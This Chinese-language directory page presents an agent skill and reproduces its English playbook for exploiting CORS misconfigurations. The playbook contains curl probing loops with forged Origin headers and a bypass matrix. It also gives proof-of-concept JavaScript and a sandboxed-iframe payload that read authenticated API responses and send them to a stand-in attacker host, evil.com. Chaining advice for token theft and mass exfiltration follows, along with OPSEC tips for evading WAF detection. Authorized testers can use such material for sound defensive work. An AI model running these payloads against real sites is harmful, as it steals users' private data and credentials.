cors
它能做什么
这项技能指导智能体测试网站的跨域共享规则,即 CORS。适合检查其他网站能否读取用户数据的安全测试人员。
适用场景
- ✓当你想知道某个网站是否允许其他域名读取已登录用户的数据时。
- ✓当安全审查需要检查 Access-Control-Allow-Origin 响应头时。
- ✓当 API 返回私人数据,而你需要确认谁被允许读取时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我测试,我的 API 是否允许其他网站读取本应保密的账户数据?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体使用不同的伪造来源头发送请求,检查服务器允许哪些来源,尤其是在同时允许凭据的情况下。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
CORS Misconfiguration Playbook
A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it
is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the
server reflects can read authenticated responses (PII, API keys, CSRF tokens).
ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to
unauthenticated requests.
1. Detection — probe origin reflection
# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
echo "== Origin: $o =="
curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
| grep -i "access-control-allow-origin\|access-control-allow-credentials"
done
# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: authorization" \
| grep -i "access-control-"
A response echoing Access-Control-Allow-Origin: https://evil.com and
Access-Control-Allow-Credentials: true confirms exploitable reflection.
2. Misconfiguration matrix
| Class | Server behaviour | Exploit origin |
|---|---|---|
| Origin reflection | ACAO echoes any Origin + ACAC true |
https://evil.com |
null allowed |
ACAO: null + ACAC true | sandboxed iframe / data:/file: (sends Origin: null) |
| Wildcard + creds (browser-blocked, but check tooling) | ACAO: * with secrets |
only if creds not required |
| Suffix match flaw | allows *target.com |
https://evil-target.com |
| Prefix match flaw | allows target.com* |
https://target.com.evil.com |
| Unescaped dot in regex | ^https://app.target.com$ |
https://appxtarget.com |
| Trusted subdomain + XSS | allows *.target.com |
XSS on any subdomain → same-site fetch |
| Pre-domain confusion | naive contains("target.com") |
https://target.com.evil.com, https://eviltarget.com |
3. Exploit PoC — credentialed cross-origin read
<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
const url = "https://<TARGET>/api/account";
fetch(url, { credentials: "include" })
.then(r => r.text())
.then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>
For null-origin servers, deliver the same script inside a sandboxed iframe so
the browser sends Origin: null:
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
<script>fetch('https://<TARGET>/api/account',{credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://evil.com/c?d='+encodeURIComponent(d)));</script>">
</iframe>
4. Chains
- CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
- Subdomain XSS → CORS: server trusts
*.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API. - CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.
5. Tools
- Corsy — fast misconfiguration scanner (
python corsy.py -u https://<TARGET>) - CORScanner — origin-reflection + regex-flaw detection
- Burp Suite — CORS checks (active scan) + manual
Originfuzzing in Repeater
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated Origin: variants from one IP |
WAF / access-log anomaly | Throttle probes; reuse a single canary origin |
OPTIONS flood (preflight fuzzing) |
Rate-based WAF rule | Test one endpoint at a time |
| Beacon to external collector | Egress/DNS monitoring | Use an in-scope collector during authorized tests |
Decision Gate: CORS confirmed → exploitation
- ACAO reflects an attacker-controlled origin (or
null) - ACAC is
true(or the endpoint serves secrets without auth) - A sensitive response body is readable cross-origin
- PoC exfiltrates real data from an authenticated victim context
If all checked, escalate per
finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).
常见问题
每个 CORS 问题都很严重吗?
不一定。该技能指出,当网站同时允许凭据时最为严重,因为其他网站就可以读取已登录的响应。
智能体在响应中查找什么?
它查看服务器返回的 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials 响应头。
这项技能可以用在任何网站上吗?
只能用在你获得测试许可的网站上。
详情
作者的原始描述
CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.
热度
- GitHub 星标
- 6.5k
- 排名
- #14055
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …